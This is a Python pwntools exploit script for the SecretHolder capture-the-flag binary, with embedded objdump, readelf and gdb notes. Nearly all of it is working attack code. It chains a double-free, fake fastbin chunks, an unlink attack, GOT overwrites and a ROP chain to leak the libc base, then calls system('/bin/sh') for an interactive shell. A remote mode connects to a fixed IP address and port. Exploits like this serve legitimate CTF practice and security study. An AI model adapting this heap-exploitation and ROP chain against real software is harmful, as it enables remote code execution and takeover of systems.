|
from pwn import * |
|
from hexdump import * |
|
import os |
|
|
|
# ref. http://shift-crops.hatenablog.com/entry/2016/10/11/233559#Secret-Holder-Pwn-100 |
|
|
|
# context.log_level = 'debug' |
|
|
|
REMOTE = False |
|
r = None |
|
if len(sys.argv) == 2 and sys.argv[1] == "r": |
|
REMOTE = True |
|
|
|
BIN = "./SecretHolder" |
|
PATCHED_BIN = BIN + ".patched" |
|
e = ELF(BIN) |
|
|
|
small = 1 |
|
big = 2 |
|
huge = 3 |
|
|
|
big_secret = 0x6020a0 |
|
huge_secret = 0x6020a8 |
|
small_secret = 0x6020b0 |
|
|
|
holding_big_secret = 0x6020b8 |
|
holding_huge_secret = 0x6020bc |
|
holding_smalll_secret = 0x6020c0 |
|
|
|
"""objdump -d SecretHolder | grep @plt\>: |
|
00000000004006b0 <free@plt>: |
|
00000000004006c0 <puts@plt>: |
|
00000000004006d0 <__stack_chk_fail@plt>: |
|
00000000004006e0 <memset@plt>: |
|
00000000004006f0 <alarm@plt>: |
|
0000000000400700 <read@plt>: |
|
0000000000400710 <__libc_start_main@plt>: |
|
0000000000400720 <calloc@plt>: |
|
0000000000400730 <signal@plt>: |
|
0000000000400740 <__gmon_start__@plt>: |
|
0000000000400750 <setvbuf@plt>: |
|
0000000000400760 <atoi@plt>: |
|
0000000000400770 <exit@plt>: |
|
""" |
|
|
|
""" |
|
[katc@K_atc SecretHolder]$ strings -tx SecretHolder | grep sh$ |
|
20ef .gnu.hash |
|
[katc@K_atc SecretHolder]$ strings -tx libc.so.6_375198810bb39e6593a968fcbcf6556789026743 | grep sh$ |
|
11e62 inet6_opt_finish |
|
12d5b _IO_wdefault_finish |
|
12f86 bdflush |
|
13302 _IO_fflush |
|
13379 _IO_file_finish |
|
159c3 tcflush |
|
15c53 _IO_default_finish |
|
189985 Trailing backslash |
|
18a538 sys/net/ash |
|
18c58b /bin/sh |
|
18e0c2 /bin/csh |
|
1c5e11 .gnu.hash |
|
1c611b .gnu.warning.__compat_bdflush |
|
|
|
""" |
|
|
|
""" |
|
[katc@K_atc SecretHolder]$ objdump -Mintel -d SecretHolder | egrep "call.+read" -B 4 |
|
... snipped ... |
|
-- |
|
4009f9: ba 80 1a 06 00 mov edx,0x61a80 |
|
4009fe: 48 89 c6 mov rsi,rax |
|
400a01: bf 00 00 00 00 mov edi,0x0 |
|
400a06: b8 00 00 00 00 mov eax,0x0 |
|
400a0b: e8 f0 fc ff ff call 400700 <read@plt> |
|
-- |
|
... snipped ... |
|
""" |
|
|
|
addr = { |
|
"puts": 0x4006c0, |
|
# "sh": 0x4020ef + 7, # not loaded to memory |
|
"mygets": 0x4009f9, |
|
"main": 0x400cc2, |
|
"exit": 0x400770, |
|
} |
|
|
|
""" |
|
gdb-peda$ x 0x4006e0 |
|
0x4006e0 <memset@plt>: |
|
jmp QWORD PTR [rip+0x20194a] # 0x602030 <memset@got.plt> |
|
""" |
|
|
|
got = { |
|
"__libc_start_main": e.got["__libc_start_main"], |
|
"__stack_chk_fail": e.got["__stack_chk_fail"], |
|
"memset": e.got["memset"], |
|
} |
|
|
|
"""remote |
|
readelf -s libc.so.6_375198810bb39e6593a968fcbcf6556789026743 | grep system@ |
|
584: 0000000000045380 45 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE |
|
1351: 0000000000045380 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5 |
|
[katc@K_atc SecretHolder]$ readelf -s libc.so.6_375198810bb39e6593a968fcbcf6556789026743 | grep start_main |
|
2118: 0000000000020740 458 FUNC GLOBAL DEFAULT 13 __libc_start_main@@GLIBC_2.2.5 |
|
""" |
|
|
|
"""local |
|
[katc@K_atc SecretHolder]$ readelf -s /usr/lib/libc.so.6 | grep " system$" |
|
5821: 000000000003f4d0 45 FUNC WEAK DEFAULT 13 system |
|
[katc@K_atc SecretHolder]$ readelf -s /usr/lib/libc.so.6 | grep start_main |
|
2120: 00000000000201a0 458 FUNC GLOBAL DEFAULT 13 __libc_start_main@@GLIBC_2.2.5 |
|
6322: 00000000000201a0 458 FUNC GLOBAL DEFAULT 13 __libc_start_main |
|
[katc@K_atc SecretHolder]$ strings -tx /usr/lib/libc.so.6 | grep /bin/sh$ |
|
161359 /bin/sh |
|
""" |
|
|
|
offset = {} |
|
if len(sys.argv) == 2 and sys.argv[1] == "r": |
|
offset = { |
|
"system": 0x45380, |
|
"/bin/sh": 0x18c58b, |
|
"__libc_start_main": 0x20740, |
|
} |
|
else: |
|
offset = { |
|
"system": 0x3f4d0, |
|
"/bin/sh": 0x161359, |
|
"__libc_start_main": 0x201a0, |
|
} |
|
|
|
"""rop |
|
gdb-peda$ asmsearch "pop rdi;ret" |
|
Searching for ASM code: 'pop rdi;ret' in: binary ranges |
|
0x00400e03 : (5fc3) pop rdi; ret |
|
""" |
|
|
|
rop = { |
|
"ret": 0x400691, |
|
"pop rdi; ret": 0x00400e03, |
|
} |
|
|
|
def keep(no, secret): |
|
r.recvuntil("3. Renew secret\n") |
|
r.sendline("1") |
|
r.recvuntil("3. Huge secret\n") |
|
r.sendline(str(no)) |
|
r.recvuntil("Tell me your secret: ") |
|
r.sendline(secret) |
|
|
|
def wipe(no): |
|
r.recvuntil("3. Renew secret\n") |
|
r.sendline("2") |
|
r.recvuntil("3. Huge secret\n") |
|
r.sendline(str(no)) # free() |
|
|
|
def renew(no, secret): |
|
r.recvuntil("3. Renew secret\n") |
|
r.sendline("3") |
|
r.recvuntil("3. Huge secret\n") |
|
r.sendline(str(no)) |
|
r.recvuntil("Tell me your secret: ") |
|
r.send(secret) |
|
|
|
if not os.path.exists(PATCHED_BIN): |
|
e = ELF(BIN) |
|
e.asm(0x400cb1, 'mov edi,0xffffff') |
|
e.save(PATCHED_BIN) |
|
os.system("chmod +x %s" % PATCHED_BIN) |
|
log.info("patched binary") |
|
exit() |
|
|
|
if REMOTE: |
|
# remote server is down |
|
r = remote("52.68.31.177", 5566) |
|
else: |
|
r = process(PATCHED_BIN) |
|
|
|
keep(huge, "") # mmap() |
|
wipe(huge) # free() |
|
|
|
"""chunks |
|
ps = prev_size |
|
-- H ---- -- S ------ |
|
(ps = ?) (ps = ?) |
|
size= size = 0x30 |
|
"huge" "small" |
|
----------- |
|
-- B ------ |
|
(ps = 0x30) |
|
size = 0xfa0 | 1 |
|
"big" |
|
--------- ----------- |
|
""" |
|
|
|
"""double-free""" |
|
keep(small, "small") |
|
wipe(small) # first free(S) |
|
keep(huge, "huge = small") # sbrk(), make H |
|
wipe(small) # second free(S) |
|
|
|
"""fastbins chunks""" |
|
keep(small, "s"*8) |
|
keep(big, "b"*8) |
|
# raw_input('Press Enter to continue: ') |
|
renew(huge, ''.join([ |
|
"S" * 0x28, # content of S |
|
p64(0x30 | 1), # fake size for B; there're two 30 bytes chunks |
|
"B" * 0x28, # content of B |
|
p64(0x1919 | 1) # fake in-use chunk size (decide "size" by yourself) |
|
])) |
|
wipe(small) # fastbins -> small |
|
wipe(big) # fastbins -> small -> big |
|
|
|
"""unlink attack""" |
|
# X = small_secret |
|
keep(small, "s"*8) |
|
keep(big, "b"*8) |
|
renew(huge, ''.join([ |
|
'\0' * 0x30, # "small" is allocated to huge+0x30 (fastbins is LIFO) |
|
# we can manipulate "small" chunk header with huge |
|
# P2 |
|
p64(0), # prev_size |
|
p64(0xfa0 | 1), # size |
|
p64(small_secret - 0x18), # fd |
|
p64(small_secret - 0x10), # bk |
|
'\0' * (0xfa0 - 0x20), |
|
# P # "big" is allocated to huge+0x30+0xfa0 (under B) |
|
p64(0xfa0), # prev_size |
|
p64(0xfb0 & ~1), # size |
|
])) |
|
wipe(big) # free(P) => unlink atack (X = X-0x18) |
|
|
|
"""GOT overwrite""" |
|
# NOTE: stdout = huge_secret-0x18 |
|
renew(small, ''.join([ # 0x0x6020b0-0x18 (0x602098): |
|
'\0' * 0x8, # (padding) |
|
p64(got["memset"]), # big_secret |
|
p64(0), # huge_secret (not used in this exploit) |
|
p64(got["__stack_chk_fail"]), # small_secret |
|
p32(1) * 3 # holding_{big,huge,small}_secret |
|
])) |
|
renew(small, p64(rop["ret"])) # stack_check_fail() <- "function(){return};" |
|
renew(big, p64(addr["mygets"])) # memset() <- mygets() |
|
# renew(big, p64(addr["exit"])) # memset() <- mygets() |
|
|
|
"""stack smashing""" |
|
""" |
|
main: |
|
0000000000400cc3 mov rbp, rsp |
|
0000000000400cc6 sub rsp, 0x20 |
|
... |
|
0000000000400d15 lea rax, qword [ss:rbp+var_10] (1) |
|
0000000000400d19 mov edx, 0x4 ; argument "len" for method j_memset |
|
0000000000400d1e mov esi, 0x0 ; argument "c" for method j_memset |
|
0000000000400d23 mov rdi, rax ; argument "b" for method j_memset |
|
0000000000400d26 call j_memset |
|
""" |
|
|
|
r.recvuntil("3. Renew secret\n") |
|
# raw_input('Press Enter to continue: ') |
|
r.send(''.join([ |
|
'\0' * (0x10 + 8), # (1), +8 = old $rbp |
|
p64(rop["pop rdi; ret"]), # rdi = argument of puts() |
|
p64(got["__libc_start_main"]), # arg |
|
p64(addr["puts"]), # puts address of __libc_start_main() |
|
p64(addr["main"]), # recall main() |
|
])) |
|
|
|
ret = r.recvline()[:-1] # trim '\n' |
|
# print "%r" % ret |
|
libc_base_addr = u64(ret + '\0' * (8 - len(ret))) |
|
libc_base_addr -= offset["__libc_start_main"] |
|
print "libc base address = %#x" % libc_base_addr |
|
|
|
|
|
"""launch shell""" |
|
r.send(''.join([ |
|
'\0' * 0x18, |
|
p64(rop["pop rdi; ret"]), |
|
p64(libc_base_addr + offset["/bin/sh"]), |
|
p64(libc_base_addr + offset["system"]), |
|
p64(addr["exit"]), |
|
])) # system("sh") |
|
|
|
r.interactive() |
|
|